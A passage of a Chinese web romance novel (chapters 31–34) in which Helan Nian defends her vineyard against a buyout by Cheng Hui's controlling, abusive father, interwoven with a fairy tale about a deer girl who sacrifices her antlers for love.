——
一个月后,祖母找到了阿吉娜。
年迈的祖母看着阿吉娜瘦弱的身体和没有血色的嘴唇,长叹了一口气。
“阿吉娜,我必须带你离开这里。”祖母说。
“可是...”阿吉娜艰难的说,
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“我不想离开巴尔特。我...我已经爱上他了!”
“阿吉娜,你不能爱上他。”祖母不得不告诉阿吉娜实情,“他在欺骗你,他正在用你的血解他们狼族身上的毒。”
听到祖母的话阿吉娜呆住了。
祖母痛心的继续说:“他还会夺去你的鹿角,去解开困住他们狼族三百年的诅咒。”
想到爱人的欺骗,阿吉娜心如刀绞,忍不住落下泪来。
在族人的保护下,阿吉娜跟祖母离开了令她伤心的狼宫。
“阿吉娜,阿吉娜——”
阿吉娜听到一个声音在喊她,就在她的身后。
是巴尔特的声音!
阿吉娜再次流下泪来。
“阿吉娜,别回头!”祖母在阿吉娜耳边说。
不能回头,不能回头......不能回头!
阿吉娜一直一直重复这四个字。
“阿吉娜,我爱你!”
听到巴尔特深情告别的那刹那,阿吉娜回头了。
这次,她自己走进了狼宫。
狼族萨满取出噬月匕,对阿吉娜说:“你的角是天神赐予的神器,可解除天道的诅咒,但是断角后,你再也不能恢复白鹿的形态。”
“为了我的爱人巴尔特,我愿意献出我珍贵的鹿角。”阿吉娜说。
再次朔月时,锋利的匕首割断了那对完美的鹿角,断角处渗出莹蓝星砂,断角化成沙漏,终于扭转了三百年的诅咒。
巴尔特没有把沙漏还给阿吉娜,他把沙漏藏了起来。
他成为了沙漠最年轻最厉害的狼王。
而断角的阿吉娜呢,她再也变不回那只可以自由奔跑的白鹿了,她同时失去了珍贵的鹿角,这将给她的民族带来灾难!
而此时的阿吉娜还不知道呢。
......
贺兰念低声默读着最后这段话,慢慢怔住。
直到手机嗡嗡震动,同时伴随一道清脆稚嫩的童声在夜色中响起。
“念念~念念~快接电话~快接电话~我想你了~我想你~了~”
是惜儿的专属铃声。
贺兰念放下童书,接通电话。
“念念!”惜儿兴奋的声音立马传遍整个房间,贺兰念不自觉弯了弯唇,“我在。”
“这两天惜儿跟李爷爷玩得开心吗?”贺兰念问。
“嗯呢,开心,李爷爷对我很好。”惜儿声音随即降下来,“不过我好想念念呀~”
贺兰念忍不住心酸,沉默了一会儿,道:“我过两天就去接你好不好?”
惜儿先沉默了片刻,随后道:“如果念念没有时间,我可以自己回去哦。李爷爷说到时候会送我去机场,念念在机场接我就可以。”
“......”惜儿的懂事让贺兰念更加难过,她缓叹一口气,道,“惜儿宝贝你记住,如果去接你的话,我永远都有时间。所以,惜儿不用这么懂事......”
“惜儿不是懂事,惜儿只是太喜欢念念了。”惜儿小声说,她还不会用词语表达太多情感,说不出心里对贺兰念心疼的想法,于是她用自己目前理解的词语表达道,“我想念念每天都开心,不要很累。”
贺兰念把手机拿离了耳朵一些,压下翻涌的酸意后“嗯”了一声,道:“有惜儿在,我都很开心。”
惜儿却少见没立即应话。
“可是,惜儿希望念念一直都开心,即便惜儿不在念念身边。”
贺兰念:“......”
贺兰念“嗯”了一声,几乎微不可闻。
她很快道:“我在看《阿吉娜》,今天还给你讲阿吉娜好不好?”
“好~”
半小时后,贺兰念听着听筒里节奏平缓的呼吸声,把手机放在了茶几上。
房间再次安静下来,贺兰念看了眼空荡荡的房子,发现她太高估自己了。
根本不是惜儿离不开她,是她更离不开惜儿。
32. Chapter 32
贺兰念把剩下的那半碗面重新热了下,吃了。
端着碗起身时蹭掉茶几上的《阿吉娜》,贺兰念看着封面上站在乌赛湖边眺望的女孩,目光逐渐坚定。
她不是阿吉娜,她也不会像阿吉娜那般为爱情放弃一切。
爱情至上的观点早就过时了,多得是比爱情更重要的东西......贺兰念在心里对自己说。
洗完碗贺兰念走到门口,关门时看见院外程回的车,没有看见程回的身影。他大概坐在车里,但黑漆漆的车窗不透光,贺兰念看不到里面。
贺兰念手指不自觉在门板上捻了捻,她眼中的光芒闪烁又暗淡,最终关上门。
车内,程回看见贺兰念屋内暗下去的光,脸上有片刻出神。
“程回!”手机里程英纵咆哮道,“你刚才说什么?!!”
“我说,我会跟贺兰念结婚。”程回淡声道,“既然听到了,就恭喜我一声吧。”
“啪”地一声巨响从听筒传出,随后是一阵玻璃破碎和哗啦啦的水流声,听着像是程英纵把酒柜踢翻了。
“结婚?你在说什么梦话?”程英纵阴森道,“你这辈子都不可能结婚!我不会允许这件事发生!!!”
程回轻呵了一声,“你算哪个?”
“......”
对面陷入异常的沉默。
再开口,程英纵竟然恢复了理智,道:“程回你是有多蠢,竟然会相信爱情这种东西?”
“你爱她什么?漂亮的外表?”程英纵不屑笑了,“你难道不知道再漂亮的脸也有枯萎的一天!这世界上漂亮的皮囊不计其数,你要是想要,我可以让她们排着队来找你。”
程回沉默着,手机反射的微弱光芒照在他脸上,映得他的瞳孔幽深又寡淡,“程英纵,你最愚蠢的一点,是现在还想着控制我的想法。”
听筒那端安静一瞬,随后爆发一串大笑。
“所以,你是想说你爱上了一个女人的灵魂?你竟然会觉得女人有灵魂?这简直是这个世界上最荒谬透顶的幻觉!”
程回扯着嘴角也笑了一声,他笑得满眼的冷意。似在笑程英纵荒谬的结论,又似在笑程英纵那简直让人无法忍受的自以为是。
“程英纵,你这辈子都不会理解的。”
程英纵是个冷血动物,冷血动物是没有心的,所以程回从来不会去伤程英纵的心,只会狠狠敲打程英纵的自信。
“程英纵,别再自欺欺人了,你掌控不了我,你想要的金钱和地位,我可以轻易得到。你想通过我提高你的社会地位,但可惜,我永远不会让你品尝那滋味。”
“你根本没有影响我任何东西,我会跟你过完全不一样的生活,幸福温暖的生活。”
“你就一直烂在你的冷血地狱里面吧!”
“混蛋!混蛋!!!”程英纵狠狠把手机摔在地上。
他暴跳如雷,抓起摔在地上的红酒就往酒柜上砸,像砸保龄球般,一瓶接着一瓶!
不管是程回还是程净,或者是其他出众的私生子,程英纵都会培养他们。
而他花费时间和金钱培养他们只有一个目的,那就是把他的事业发扬光大!让他后半生继续享受无上荣光,至高无上的荣光!
但程回戳破了这一点,这就相当于说程英纵自身不过如此,还要靠别人,靠儿子......这是自认天之骄子的程英纵绝对不能忍受的!
甚至程回还威胁,他这辈子都不会登上那荣光!
这一刻,程英纵所有自认高贵优雅的修养消失殆尽,他像只会诉诸暴力的野兽,疯狂发泄着自己的怒火。
门口的魏梁等到里面没有了动静,才敲了两声门走进来。
程英纵胸口剧烈起伏着,眼中凶狠毕露,看了一眼魏梁,“给我订去西北的机票!”
“是。”
过了一会儿,平复好心情的程英纵坐到椅子上。
“贺兰念已经知道程回的真实身份了。”魏梁道,“程净说,他们两人发生了争吵,现在程回被贺兰念赶出了家。”
这一点,程英纵并不意外。
犹豫了一下,魏梁再次开口:“程回说您没有影响到他......这话也不过是他的自欺欺人。”
程英纵“嗯?”了一声,示意魏梁继续说下去。
“程回,”魏梁顿了下,道出,“并不会处理跟情绪相关的问题。”
因为从小被剥离了正常的情感和情绪,所以,程回不擅长沟通,极不会处理跟情绪相关的问题。
程回应激下的反应,只会让贺兰念跟他的关系越来越糟糕。
魏梁合理怀疑,程回这时候提出要跟贺兰念结婚,只是因为他不知道该如何处理贺兰念生气的情绪,他害怕贺兰念因此不要他,所以为了抓住贺兰,他便想到了婚姻这个能把两个人绑在一起的传统方式。
而单方面的求婚,甚至可以说逼婚,就是掠夺。
而这些,都是程英纵对程回最深刻的影响。
“如果程回真的爱上了贺兰念,那他更不会放弃收购葡萄园。”魏梁道。
这句话让程英纵愣了一下,“什么意思?”
“程回已经找到了他的母亲,他大可以早早带着他母亲出国。如果他想,估计您都找不到他,但是他却没有这样做。只剩下一个原因,他想带贺兰念一起走。”
魏梁镜片上划过一抹苍冷的光,“程回想要带走贺兰念,就不能让贺兰念在这里有牵挂,葡萄园是必须舍弃的。”
程英纵若有所思,沉默不语。
“你知道程回最难被驯服的是哪一点吗?”程英纵冷声道。
魏梁摇了摇头。
“是他的傲骨。”
程英纵不由想起程回小时候,像世界上最野最烈的小兽,背上支撑的全是不屈的傲骨,眼中全是对他的恨意,但这可太让程英纵喜欢了!他平生最喜欢驯服,越烈性越能激发他的征服欲。
为了打折程回那一身傲骨,他把那个女人关起来,让程回去外面跪着,跪到他高兴,他才能见到他妈。
程英纵当然不会让程回每天都见到他妈,有时候半个月,有时候三个月,最长的一次是一年......但是程回却每天都跪在那里,十年如一日。
这就是程回,对在意的人近乎偏执的执着,甚至可以让人踩在他背上任意践踏。
他认定一人,便是永远,是不会改变,有一个词浪漫的词叫“至死不渝”?
至死不渝这个词让程英纵厌恶的扯了下嘴角,眼中闪过轻蔑。
但是这一刻,程英纵终于相信了程回对贺兰念产生的所谓的爱情。
虽然程英纵不理解爱情是何种感受,但是只要能让人身不由己,能牵制程回,那对他来说就是好东西。
或许以后拿来牵制程回的人,可以换一换了。
想到此,程英纵勾了勾唇。
“这么说,倒也不是坏事了。”程英纵脸上重新出现运筹帷幄的轻松自得,“看来我要跟程回重新谈谈了。”
“据我所知,正常情况下贺兰念绝不会卖葡萄园。”魏梁道,“所以,程回要想收购葡萄园,他们之间的关系只剩下——对抗。”
*
清晨,贺兰念一打开门,便看见了门口靠车而立的程回。
听到开门声,他动作有点僵硬的抬头,贺兰念甚至能听到随着他动作,错节的骨头发出“咔嚓”声。
他看起来像是就这样站了一夜......
贺兰念在程回被露水打湿的肩头和发梢多看了一眼。
看贺兰念似是要出门,程回回身打开车门,开口时声音有
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丝嘶哑:“去哪里?我带你去。”
贺兰念没有说话,转身往停车棚走。
把皮卡开出来,贺兰念又下车关上农场大门,然后往葡萄园开。
程回开车跟在她的后面。
赵幸北今早发消息说酒厂的人大概九点到,贺兰念要赶到葡萄园,在露水下去后一起采摘葡萄。
赵幸北其实昨天晚上就开始给程回打电话,只是程回一夜没看手机,没有接到。
程回跟着贺兰念一起停车下车,程回一下车,立马吸引了不少目光,葡萄园里劳作的人都停下手中的活看他。
程回跟在贺兰念身后,始终面无表情,倒是贺兰念被看得有点不自在,不由加快了脚步。
“小念,交男朋友了?”李婶见贺兰念走过来,凑到她身边低声问。
贺兰念戴上遮阳帽和袖套,动作熟练的剪掉一串串葡萄轻放在篮子里,回了句:“没有。”
清透晨光下,贺兰念抬起又低下的侧脸异常平静,手下劳作一刻不停,李婶不由多看了她两眼。
即便察觉到一丝异常,但贺兰念不主动说,李婶也不知道从哪里切入关心。
李婶看向站在贺兰念身侧的程回,程回脸长得华丽,身上的贵气又太有攻击性,特别唬人,一般人都不敢跟他搭话。
李婶近距离看程回的脸,也被惊得不行,她偷偷观察了程回半天,见他亦步亦趋,也不说话,只眼眨不错的看着贺兰念。
李婶鼓起勇气问道:“小伙子,小念的朋友啊?”
程回大概没料到有人突然跟他说话,他看了眼李婶,半天,神色冷漠“嗯”了一声。他答得不情不愿,看起来对朋友这个身份不太满意。
然李婶看不出来程回心里怎么想,她以为程回不愿意理人,提着篮子默默走远了些。
贺兰念看见李婶走开,以为李婶被程回伤到......她虽然不想理程回,但也不想因此伤到其他人,在心里叹了一口气,贺兰念走到李婶身边。
“李婶,不用管他。”贺兰念想了下,给程回安了个身份,“他是跟酒厂一起过来收葡萄的。”
“收葡萄的啊!”知道程回是来收葡萄的,李婶热情道,“那还真是谢谢你们了,没有你们来收,我们地里这些葡萄都不知道该怎么办好了!”
程回正因为贺兰念一句“不管他”伤心,根本没注意李婶说了什么,他心不在焉朝李婶点了点头,依旧没说话。
贺兰念看不得李婶被冷落,补充道:“他们也赚钱。”
“也不能这么说,”李婶拉了拉贺兰念的胳膊,用眼神示意贺兰念对人家热情点,“对我们说,那就是雪中送炭啦。”
贺兰念:“......”
雪中送炭吗?
贺兰念一直不愿意往这边想,她一直想把程回的帮忙换算成他也能从中赚到钱。
但最初的事实却是,程回在要收购他们葡萄园的情况下,几乎从零开始,找酒厂建公司搞定出口......帮他们卖葡萄。
见贺兰念终于肯正眼看他,程回瞳孔一缩,不由有丝紧张。
贺兰念很快移开眼,继续摘葡萄。
程回:“......”
“小伙子,会不会摘葡萄?”一个采葡萄的大叔路过程回身边,见程回那么大个子站在那,大约是觉得浪费劳动力,便把一把剪子一个提篮塞给程回,大咧咧道,“别光站着,追媳妇只动嘴皮子怎么行?”
他随口就给程回画大饼,“等干完活,我去帮你给小念说道说道。”
程回提着篮子还没反应过来,大叔已经急匆匆往前走了,没一会儿,不知从哪一趟葡萄架后又传来一句,“不会就让小念教你——”
“......”贺兰念听见,转身就欲离开,被程回三两步追上拦在前面。
33. Chapter 33
“贺兰念。”程回喊她。
“......”
“你是不打算理我了?”
“......”
贺兰念脚步一错,就要从程回身边绕过去,不曾想被程回伸出胳膊拦腰抱住。贺兰念只觉双脚离地后身体转了半周,再落地,人又站到程回面前,程回的手还环在她腰间。
贺兰念:“......”
“你要是不理我,我就把你从这里抱出去。”程回的语气不像开玩笑。
贺兰念一点都不想在人群面前上演这出,她无奈开口:“你到底想怎么样?”
程回鸦翅般浓黑的睫毛轻颤,拧眉看着贺兰念:“......你要理我,不然我会害怕。”
程回声音里有种无计可施的无助,仿佛真的恐慌,贺兰念怔住。
其实回顾整件事,除了程回是来收购她家葡萄园,并可能有意隐瞒了自己身份外,程回也没骗她什么。贺兰念想,就算她最初就知道这一点,结果也不会改变。
她根本没有生气的理由。
她现在这般对待程回,不过是对程回发泄自己根本不应该存在的情绪。
意识到这一点,贺兰念忽略心底那抹异样的不舒服,道:“程回,不要把时间浪费在我这里,去做你自己的事,我也有自己的事要做。”
程回不悦道:“别的事才是浪费时间!”
贺兰念微微垂着眼睫沉默着。
不知过了多久,她抬了抬眼皮,看向程回,沉声问:“你爸爸为什么要收购葡萄园?”
程回:“......”
他从来没有想过这个问题,他没有关心过程英纵的事业,也不关心程英纵要做什么......最初,他只是受程英纵的威胁,想知道母亲的下落而已。
听苏馥说,程英纵要开拓红酒市场。至于为什么开拓红酒市场,程回没问过。
“那你呢?”程回看了眼四周的葡萄园果农,问贺兰念,“为什么不让他们卖掉葡萄园?”
有一瞬间,程回看见贺兰念眼中似划过一层水汽,稍纵即逝。
“那些大企业从这片土地上赚到的钱,能公平流到这片土地上的人身上吗?”贺兰念看着程回,她的目光平静又沉毅,道,“如果能,我就卖掉葡萄园。”
一旦葡萄园被大企业收购,资本垄断下,不仅普通葡萄种植者更难生存,普通住户失去土地资本后只能沦为大企业的附庸品。但万一有一天这块土地不能产生利益了,大企业抽身而走,这里的人依旧要忍受贫穷。
如果结果是这样,贺兰念不甘心。
这片土地永远这么贫瘠,这里的人世代困苦,贺兰念不甘心半路被收割,不甘心那些人榨干前辈积攒的心血后,再无情荒置。
如果这片土地注定开花,那贺兰念想看看,她为穷困又辛勤的人开出富贵的花,而不是被某几个所谓的贵人采撷走。
......
贺兰念猛地低了一下头,像是在隐藏什么,她垂着眼看着自己的脚尖,看不出情绪道:“如果这个世界本质是掠夺,那我只是想守护属于自己的东西。”
似是过了半个世纪那么长,程回目光幽深的看着低头敛目,清瘦又坚强的女孩。她说她很迷茫,其实她比任何人都清醒,她一直都知道自己想要的是什么,她也一直为此努力着......
程回抬手摸了摸贺兰念的发顶,他压下心底回荡的情愫,道:“看来我送你留学的话没有吸引力了。”
贺兰念朝程回坦荡笑了笑,“或许吧。”
这时,苏馥从程回身后走来,她朝贺兰念点了点头。
就在贺兰念以为对方是找她时,就见苏馥走到程回身边,恭敬的朝程回低了下头,一看就是上下级关系。
贺兰念听见苏馥对程回说:“程总来了,他想见您。”
程英纵?程回的父亲?
听到这个名字,贺兰念拧了下眉,她心里不安起来,总觉得这个男人的到来,会发生不好的事情。
程回表情也有些凝重,他看了贺兰念一眼,什么都没说,转身往葡萄园外走。
苏馥又朝贺兰念点了下头,跟在程回后面离开。
贺兰念看着两人的背影,后知后觉的想起之前与苏馥的几次交谈......现在看来,苏馥作为程回的下级,很难说不是受程回的指示。
贺兰念想到杨志国时苏馥对她的提醒,所以那时候,程回应该是全都知道的吧?知道杨志国对她的目的不纯,知道她最终会失败,他也只是......冷眼旁观。
贺兰念孤立的站在那,突然有种抽离感,她茫然的看着四周忙碌的人们,看着程回和女人离开的背影......有点生气,又有点难过。
抬头看了看天空。
半晌,贺兰念默然转身,继续采摘葡萄。
这天,酒厂的车在各个葡萄园跑了一天,每车都装满了新鲜葡萄。
夜深时贺兰念才拖着疲惫的身体回到家。
这样又过了一天,第二天深夜贺兰念再次回到家时,接到赵幸北打来的电话。
赵幸北向来从容不迫的声音里透出焦急,电话一接通便问:“程回在你身边吗?”
“......没有。”
贺兰念心头跳了一下,实际上,她这两天都没有见到程回。
心里想着不再跟程回有任何牵扯,但心里强烈的不安还是让贺兰念没忍住问出口:“发生什么事了?”
赵幸北声音严肃道:“程回他爸去西北了,这件事你知道吗?”
贺兰念:“......知道。”
“昨天程回他爸的秘书让我停止收购葡萄,程回说继续收,我便没理他爸的警告。”赵幸北话锋一转,“今天程回他爸联合葡萄酒协会那帮老家伙对全行业发出警告,不准任何人收购贺兰山产区的葡萄。”
这个警告赵幸北根本每当回事,有程回联系的国外酒厂和酒庄在,赵幸北基本有恃无恐。
但是......
赵幸北叹了一口气,“我今天一直没有联系上程回。我觉得......”
剩下的话赵幸北没有说出口,贺兰念内心越来越不安,追问道:“你觉得程回怎么了?”
京城那个圈子就那么大,屁大点事都能被传好久,赵幸北饭桌上听他|妈说过,说程英纵动辄对程回打骂,甚至......可能还会用药物控制程回。
眼下程回联系不上,赵幸北实在不能排除这个情况。
赵幸北没有跟贺兰念说这些,只隐晦道:“程回可能被他爸软禁起来了。”他没有用“关”这个字。
贺兰念愣住了。
“软禁”这个词对她来说实在有点古老,她只在影视剧上见过,她不敢相信现代社会一个正常人还会被软禁,而且那个人还是程回!
贵气天成,看起来无所不能的程回......
“你也给程回打个电话吧。”赵幸北宽慰道,“我继续联系他,说不定只是忘带手机了。”
“哦还有,明天葡萄可能得暂收一天,不过也不一定,先找到程回再说吧。”赵幸北匆匆说完这句话,挂断了电话。
贺兰念拿着手机,找到程回的号码,犹豫良久,第一次按了拨通。
“嘟嘟嘟”的盲声响了几十秒,悄然停下。
没有人接。
贺兰念蹙眉,再次拨过去。
时间一秒一秒过去,
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贺兰念的心慢慢提起,煎熬的等待几乎让她绝望,终于在自动挂断的前一秒,贺兰念听到了不一样的声音,一道非常压抑的咳嗽声。
却没有人说话。
贺兰念忐忑又小心喊了一声:“程回?”
漫长的等待......
终于,贺兰念听到一道轻“嗯”,如果不是她太过专注,几乎听不到。
听到程回回应的刹那,不知为何,贺兰念甚至有种热泪盈眶的感觉。
“你在哪里?你还好吗?”
程回的身体好像很虚弱,他好像刻意把手机拿远了些,贺兰念又听到几声闷闷的咳嗽。
“不太好。”程回的声音嘶哑低沉,只说了几个字,就能听到他大声喘气,良久才接着说,“贺兰念,你来找我吧。”
贺兰念几乎想都没想就应了下来:“好。”
“你在哪里程回?”贺兰念打开农场大门,大步往停车棚走,迎面撞上从屋内出来准备下班的羊明煦。
羊明煦看见贺兰念煞白的脸,惊了下问:“发生什么事了?有人欺负你了?”
贺兰念情绪向来稳定,一双漂亮的眼永远不起波澜的模样,羊明煦还是第一次在贺兰念脸上看见焦急、慌张、几乎快要哭了的神情。
贺兰念甚至没时间看羊明煦,她继续往皮卡方向走,几乎无意识说:“没事,你下班了吗?回家吧。”
羊明煦:“......”
贺兰念这个状态开车实在有些危险,想到这,羊明煦快步拉住贺兰念,把她推到副驾,不容拒绝道:“我开车,你说去哪里。”
说完,羊明煦已经绕过去打开驾驶室的门,皮卡在院子里调转了个头,开出院子,急速往某个酒店的方向去。
程回只说了酒店房间号,没跟贺兰念说房间门口还守着两个人高马大的保镖。
看见门口的保镖,羊明煦睁大了两只眼睛,脱口而出:“卧槽?!拍电视呢??”
贺兰念把所有情绪沉下去,她挺直后背,面色如常走过去,被保镖拦下后,道:“我找程回。”
两个保镖没有开门。
羊明煦看不下去,走过去道:“我说两位大哥,劳烦开下门——”
“咔嚓”一声,门从里面被人打开。
贺兰念立刻看过去。
是苏馥站在门口。
这一刻,贺兰念不知道自己是失望还是别的什么酸涩情绪多些。
苏馥依旧态度冰冷恭敬的朝贺兰念点了点头,道:“贺兰小姐,抱歉,您现在还不能见程回。”
贺兰念抿了抿唇,这句话像千斤巨石砸到她心上,几乎要砸碎她的一腔孤勇。
羊明煦看见苏馥,脸上先是惊讶,随后沉下来陷入诡异的沉默。
看到贺兰念垮下去的肩头,羊明煦拧了下眉,开了口:“喂苏馥,你要是能打开门就把门打开。”
看见羊明煦,苏馥眸光闪了下,精密机械般的脸上出现一丝龟裂。
两人的目光隔着贺兰念对视,最后苏馥撇眼错开羊明煦明亮蕴着薄怒的眼睛,转身打开了门。
她也不是真心想拦贺兰念,只是程回突然改变了主意,不让贺兰念进去找他。如果苏馥真的想拦贺兰念,刚才贺兰念的那通电话,她会直接挂断,而不是送到程回耳边。
两个保镖见苏馥开了门,便没有拦贺兰念。
贺兰念站在门外,透过敞开的门,看着里面黑漆漆的房间,几乎没有丝毫光亮,像一只深渊巨兽狰狞的嘴巴。
宿在治沙老人家的那一夜,程回说,他害怕黑,会睡不着。
那程回,你现在又为什么不开灯呢?贺兰念在心里想着,是什么东西让你觉得比黑暗更可怕呢?
34. Chapter 34
房门在贺兰念身后被关上,贺兰念打开客厅的灯。
没有看到程回的身影。
贺兰念走到卧室门口,却没能打开,程回从里面反锁了,她低头看着没有一丝光透出的地板门缝。
“程回?”
贺兰念喊了一声后顿住,她默然等待着,卧室内寂静的仿佛没有活人的气息,贺兰念的手指不自觉攥紧。
一门之隔,程回坐在地上,把自己紧紧缩在门板后面,他尽最大努力把自己缩成一团,试图用这种方式锁住身体的所有感觉和反应,即便这样,他的身体还是控制不住的颤抖和抽搐,从喉间冒出的寒意让他克制不住想咳嗽。
听到门外贺兰念的声音,他一边贪恋着,一边怪苏馥自作主张把贺兰念放进来。
他不想让贺兰念看到自己这般狼狈的模样,他想着,贺兰念绝不能看到自己这个模样!
他没有病!他是正常的人!
他一直都会是清醒的!
......
没有等到程回回复......贺兰念缓缓吸了一口气,再次开口:“程回,把人喊来要说话。”
“这是礼貌。”贺兰念补充。
“......”
“你如果没有话对我说,”贺兰念道,“我走了。”
说完,贺兰念脚步挪动,作势离开。
贺兰念走得极缓慢,寂静的客厅,她全部的注意力都在身后那扇门后......终于,大概十几秒后,她如愿听到了门锁转动的声音。
“贺兰念,你能不能对我有点耐心。”
贺兰念骤然回头。
卧室内没有开灯,程回偏瘦的身体倚着门框,客厅的灯打在他脸上,苍净雪白,神色如常。
贺兰念双目不眨的盯着程回的脸,试图从他细微的微表情中看出些什么,然而没有,程回的表情堪称完美,没有丝毫破绽。
“你刚刚在做什么?”贺兰念紧紧盯着程回问。
程回看着她,突然咧嘴笑了一声,愉悦开心的,带着让人心软的羞意。
“贺兰念你查岗啊?”他低喃了一句,“这么紧张做什么。”
下一秒,他把整扇门打开,身体往卧室内侧了侧,让出一条道,道:“要不要进来看看里面有没有藏人?”
贺兰念:“......”
虽然程回表现的都很正常,但贺兰念还是觉得哪里不对劲,她再次道:“所以,你刚刚在做什么?”
程回很快回:“睡觉啊,还能做什么?”
“睡了一天?”
面对贺兰念关心般的逼问,程回的神色微不可察僵了一下,他像是即将缴械投降,又挣扎着,声音低低的“嗯”了一声。
“为什么给我打电话?”
程回这次沉默了很久,就在贺兰念以为他不会回答时,听见他说:
“做梦梦见你了。醒来的时候发现特别想你,想听你的声音。”
贺兰念:“......”
程回的回答挑不出什么错,但不知为何,这些话,贺兰念就是一句都不相信。
既然程回不想说,贺兰念便不再问。
沉默片刻,贺兰念道:“既然没事,那我走了。”
程回倚着门框,半个身子站在卧室里面,他看着贺兰念转身,没有说话。
走到玄关时,贺兰念回头,“不是害怕黑吗?灯我就不给你关了。”
程回抿着唇。
见贺兰念拉开门,程回胳膊动了一下。
他的手控制不住的颤抖,往前伸了伸,又顿住,握紧,放到身后。
房间再次恢复死寂,程回伸手抓住卧室的门框,他的五指死死捏着门板,缓缓把门关上。
他转过身,往床边走,却在走到一半时颓然倒下,重重砸到地板上,他很快蜷缩成一团,忍耐着身体内部因为药物作用产生的如万蚁撕咬般的疼痛。
*
贺兰念刚走出程回的房间,苏馥拦住了她。
“有人想要见你。”苏馥道。
贺兰念没说什么,跟着苏馥来到一个小型会客厅的门口,门口站着一个穿着规整西装的中年男人,看起来十分内敛,不显山不露水。
魏梁双手交叉放在身前,朝贺兰念微微鞠了一躬,道:“贺兰小姐,程总在里面等你。”说完,打开会客厅的门。
贺兰念走进去,看见那晚私人会所门口,黑色轿车内一闪而过的脸。
程英纵......程回的爸爸。
此刻正坐在会客厅中间的沙发上。
冷峻、阴森、威压感十足,像只冷血动物般看向贺兰念。
再一次,程英纵的目光落在她身上的那一刻,贺兰念立马感到不舒服。
但她忍着心底的不舒服,落落站在那里,不动声色,任凭程英纵打量。
贺兰念沉默着,始终没有先开口说话。
半晌,程英纵冷哼一声,先开了口。
“程回说喜欢你。”程英纵看着贺兰念问,“你相信吗?”
贺兰念没有丝毫犹豫:“不信。”
大概完全没料到贺兰念会这样说,程英纵怔了一下,随后他认真看了贺兰念一眼,眼中|出现一抹兴味。
“哦?”程英纵问,“为什么?”
贺兰念不答反问:“你觉得爱情是什么?”
“爱情?”程英纵不屑笑了声,“这个世界上根本没有爱情!”
“爱情不过是造物主为了操控人类,为了让人类繁衍下去,根植在人类基因里的美好幻想。情欲是庸俗的原罪,爱情是一种病,相信爱情是人性的弱点!这些幻想都是假的!”程英纵铿锵道,“在这个世界上,只有权利和金钱才是真实的!”
“这个世界上,只有权利和金钱才是真实的。”贺兰念重复了一遍这句话。她蓦然弯唇笑了下,在程英纵审视的目光中开口,“你应该是没有说错。”
“如果素食主义者是古老的贬义词,用来嘲讽那些捕不到猎物的人类。那么,权利和金钱作为奖励成功者的礼物,合情合理。”贺兰念说。
程英纵又被贺兰念这句话震到,他眼中的兴趣越来越浓。
“你能这样想,还不算蠢人。”程英纵说。
“所以,不要再问我——,”贺兰念目光毫不畏缩看着程英纵,“相不相信程回喜不喜欢我这句话了。”
“我不相信爱情。”贺兰念说。
程英纵阴冷冷的笑了两声,不阴不阳道:“我开始喜欢你了,如果程回有你一半的理智,我会少花很多力气。”
他话锋一转,目光犀利的盯着贺兰念问:“接到程回的电话,你为什么过来?”
“任何我认识的人有危险,我都会过来。”贺兰念一脸平静道,“只是确认一个人是否安全,并无多大意义。”
又是完全出乎程英纵意料的回答,他盯着贺兰念,许久没有说话。
“不要对程回抱有幻想,程回这一生都不会有爱情这种东西,也绝不会真正爱上你。”程英纵重申自己的观点,力求击溃贺兰念任何遐想,“他可以有很多情人,但唯独不会有妻子,特别是一个一无是处的贫穷妻子。”
“……”
贺兰念微微垂着眸,面上看不出任何情绪,半天,开口:“那就看看吧。”
这句话放到这里听起来有点挑衅,但贺兰念紧跟着说:“可以结束这个无聊的话题了吗?”
顿了下,贺兰念扯了下嘴角,“既然你我都如此自信了。”
程英纵瞳孔一缩,脸上立马出现不悦,贺兰念像是在讽刺他说太多反而显得不自信......
结束程回的话题,贺兰念主动提及程英纵找她的另一个目的。
“我不会卖掉葡萄园。”贺兰念直接道。
程英纵冷峻的脸露出不屑:“年轻人有勇气是好事,但也要有资本。你有什么底气跟我说这句话?”
“守护自己的东西,天经地义。”贺兰念道,“这也不外乎您的行事法则吧。”
又被反将一军,程英纵咬了咬牙,“牙尖嘴利不知天高地厚!”
贺兰念低了低头,似无意的,喃喃道了一句,“说不过就人身攻击?”
程英纵:“.........”
站在一旁的魏梁看了看贺兰念的背影。
他有种感觉,他之前对贺兰念的认识,好像太单薄和片面。
贺兰念看着孤零零一个人,其实她内心有很多强大的东西支撑着她……魏梁还不知道那些东西是什么。
“不管您用什么方法,我都不会放弃葡萄园。”贺兰念目光坚定,语气中的不可撼动听得人心惊,而这句话蕴含的勇气和力量,几乎让人动容。
“我要回去收葡萄了。”贺兰念道,“再见。”
说完,她没做停留,转身往外走。<
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p>“只有穴居的人才会诉诸暴力,而我喜欢摧毁一个人的精神、希望和自我。”程英纵看着贺兰念的背影眼神狠戾道,“如果你不聪明一点,我会让你体会到这句话的。”
贺兰念脚步顿了下,这句话在她心头盘绕,她没由来想起程回,总觉得程英纵这句话不是空口而来。
出来后,贺兰念没看见羊明煦,她走到停车的地方又等了等,大概十几分钟后羊明煦匆匆跑来。
不知是不是跑得,贺兰念觉得羊明煦的脸有点红,神色也有点不自然。
羊明煦没解释迟到的原因,他跳上车后把车启动。
“你认识苏馥?”坐上车后,贺兰念随口问。
“哦......那个......”羊明煦突然结巴起来,看起来一脸心虚吞吞吐吐道,“算是,算是认识吧。”
羊明煦的反应引起贺兰念的注意,她好笑的看着他,想到什么,突地问:“怎么?你喜欢人家?”
“啊?!!”羊明煦脚下一紧,车速差点飙到120,他赶紧松了油门,更加语无伦次了,“没,没有啊——,我怎么会喜欢她!你看她哪有点女人的样子?不对,你看她哪有人的样子!”
羊明煦表情夸张的朝贺兰念大声说:“那个女人简直就是没有感情的机器人!”
贺兰念若有所思的“哦”了一声,道出:“那就是喜欢了。”
羊明煦瞬间变成了哑巴。
半晌,羊明煦小声道:“有这么明显吗?”
“有点。”贺兰念含笑说。
“那你呢?”羊明煦顿了一下,他想起过来前贺兰念慌张惊吓的表情,问,“喜欢程回吗?”
贺兰念眼中的笑僵住,笑意从她秾丽明艳的脸上流走,神色渐渐暗淡。
*
贺兰念离开后,魏梁走过去打开隔间隐藏的门,程回坐在轮椅上,被一名保镖推出。
“都听到了。”程英纵面露得意看着程回,“这就是你说爱上的人?”
“只有你这个蠢货才会相信爱情这个东西!人家都比你强多了!”程英纵骂道。
程回垂着眼睫,沉默坐在轮椅上,他对程英纵的怒骂没有丝毫反应,只有偶尔轻眨的睫毛显示他还有人类正常的反应,不知在思考什么,良久的沉默让他看起来阴郁。
